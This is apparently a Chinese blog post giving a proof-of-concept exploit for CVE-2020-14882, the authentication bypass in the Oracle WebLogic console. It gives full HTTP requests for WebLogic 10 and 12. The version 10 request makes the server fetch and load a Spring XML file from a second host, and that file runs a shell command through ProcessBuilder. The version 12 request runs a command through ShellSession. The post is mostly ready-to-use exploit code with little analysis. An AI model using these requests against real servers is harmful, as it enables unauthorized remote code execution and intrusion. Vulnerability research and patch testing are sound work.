weblogic 越权绕过登录POC(CVE-2020-14882)

摘要

漏洞利用为7001端口weblogic 10利用方式pom.xmlweblogic12

漏洞利用为7001端口

weblogic 10利用方式

 GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.8.142/poc.xml); HTTP/1.1 Host: 192.168.3.189:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: ADM Upgrade-Insecure-Requests: 1 

pom.xml

<?xml version="1.0" encoding="UTF-8" ?>     <beans xmlns="http://www.springframework.org/schema/beans"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="      
http://www.springframework.org/schema/beans
 
http://www.springframework.org/schema/beans/spring-beans.xsd
">         <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">             <constructor-arg >             <list>                 <value>sh</value>                 <value>-c</value>                 <value><![CDATA[touch /tmp/10poc1]]></value>             </list>             </constructor-arg>         </bean>     </beans> 

weblogic12

 GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1 Host: 192.168.3.189:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: ADM Upgrade-Insecure-Requests: 1  

参考文章

• https://www.cnblogs.com/potatsoSec/p/13895120.html

相关推荐: Apache Shiro 权限绕过漏洞分析(CVE-2020-13933)

漏洞简述 Apahce Shiro 由于处理身份验证请求时出错 存在 权限绕过漏洞，远程攻击者可以发送特制的HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。 风险等级 高危 影响版本 Apache Shiro < 1.6.0 漏洞详情 shi…